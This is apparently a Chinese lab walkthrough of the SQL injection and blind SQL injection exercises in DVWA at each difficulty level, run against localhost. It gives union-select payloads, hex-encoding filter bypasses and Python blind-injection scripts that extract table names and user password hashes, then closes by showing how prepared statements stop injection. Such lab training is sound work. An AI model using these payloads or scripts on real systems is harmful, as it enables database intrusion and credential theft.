0x01 Low
SQL Injection
最简单的注入,没有任何过滤,常规语句注入即可:
1
1'
1'#
1' union select 1,2 #
0' union select database(),2 #
0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
0' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
0' union select group_concat(password),2 from users#
SQL Injection (Blind)
没有任何过滤,直接利用回显不同注入:
import requests
import urllib
#coding=uft-8
flag=""
cookie={'PHPSESSID': '设置为自己cookie中PHPSESSID值','security': 'low'}
for i in range(1,100):
for j in range(33,127):
#url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr(database(),%s,1))=%s%%23&Submit=Submit#" %(i,j)
#url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),%s,1))=%s%%23&Submit=Submit#" %(i,j)
#url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))=%s%%23&Submit=Submit#" %(i,j)
url = "http://127.0.0.1/vulnerabilities/sqli_blind/?id=1' and ascii(substr((select group_concat(password) from users),%s,1))=%s%%23&Submit=Submit#" %(i,j)
if j == 126:
exit(0)
r=requests.get(url,cookies=cookie)
if "User ID is MISSING from the database" not in r.content:
flag+=chr(j)
print flag
break
0x02 Medium
SQL Injection
首先是POST数据
测试注入:
1'%23
错误回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'#' at line 1
后台对传入的POST数据中的单引号和双引号前加入”,类似使用addslashes函数
同时#注释加与不加回显相同,应该是查询语句构造时应该是类似:
select column_1,column_2 from table_name where id = $_POST["id"]
不需要注释后面语句(没有后面)
不过这里存在数字型注入,同时字符中使用单引号可以使用十六进制绕过
剩下的和Low中的SQL Injection相同,只是遇到类似:
0 union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'
利用十六进制绕过:
0 union select group_concat(table_name),2 from information_schema.tables where table_schema=0x64767761
SQL Injection (Blind)
和Medium的SQL Injection过滤规则一样
同样十六进制绕过过滤,脚本如下:
import requests
import urllib
#coding=uft-8
flag=""
url="http://127.0.0.1/vulnerabilities/sqli_blind/#"
cookie={'PHPSESSID': '设置为自己cookie中PHPSESSID值','security': 'medium'}
for i in range(1,100):
for j in range(33,127):
#key="1 and ascii(substr(database(),%s,1))=%s" %(i,j)
#key="1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x64767761),%s,1))=%s" %(i,j)
#key="1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%s,1))=%s" %(i,j)
key="1 and ascii(substr((select group_concat(password) from users),%s,1))=%s" %(i,j)
data={'id':key,'Submit':'Submit'}
if j == 126:
exit(0)
r=requests.post(url,cookies=cookie,data=data)
if "User ID is MISSING from the database" not in r.content:
flag+=chr(j)
print flag
break
0x03 High
SQL Injection
一脸无奈,high比medium简单啊,和low一样(除了多弹了一个窗口):
1
1'
1'#
1' union select 1,2 #
0' union select database(),2 #
0' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
0' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
0' union select group_concat(password),2 from users#
SQL Injection (Blind)
没有过滤,直接脚本,注意两个url之间的数据传输即可:
import requests
import urllib
#coding=uft-8
flag=""
url_1="http://127.0.0.1/vulnerabilities/sqli_blind/cookie-input.php"
url_2="http://127.0.0.1/vulnerabilities/sqli_blind/"
cookie={'id': '1','PHPSESSID': '设置为自己cookie中PHPSESSID值','security': 'high'}
for i in range(1,100):
for j in range(33,127):
ans=requests.Session()
#key="1' and ascii(substr(database(),%s,1))=%s#" %(i,j)
#key="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),%s,1))=%s#" %(i,j)
#key="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%s,1))=%s#" %(i,j)
key="1' and ascii(substr((select group_concat(password) from users),%s,1))=%s#" %(i,j)
data={'id':key,'Submit':'Submit'}
if j == 126:
exit(0)
ans.post(url_1,cookies=cookie,data=data)
r=ans.get(url_2,cookies=cookie)
if "User ID is MISSING from the database" not in r.content:
flag+=chr(j)
print flag
break
其实这些都可以利用时间盲注,用if和sleep改一下脚本即可(注意根据具体情况设置timeout)
0x04 Impossible
SQL Injection && SQL Injection (Blind)
根据dvwa说明,impossible难度应该无法注入
SQL Injection 和 SQL Injection (Blind)的源码只有最后返回值不同
所以我们直接审计其中SQL Injection源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到几点:
- 首先is_numeric判断id类型(如果只是is_numeric,我们可以利用十六进制绕过
- 此处:$data->rowCount() == 1判断返回数据,当只有一条数据返回时才会返回结果
- 关键在于:
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
这里利用PDO和bindParam对sql语句的代码和数据进行了分离,避免了注入的发生
【完结】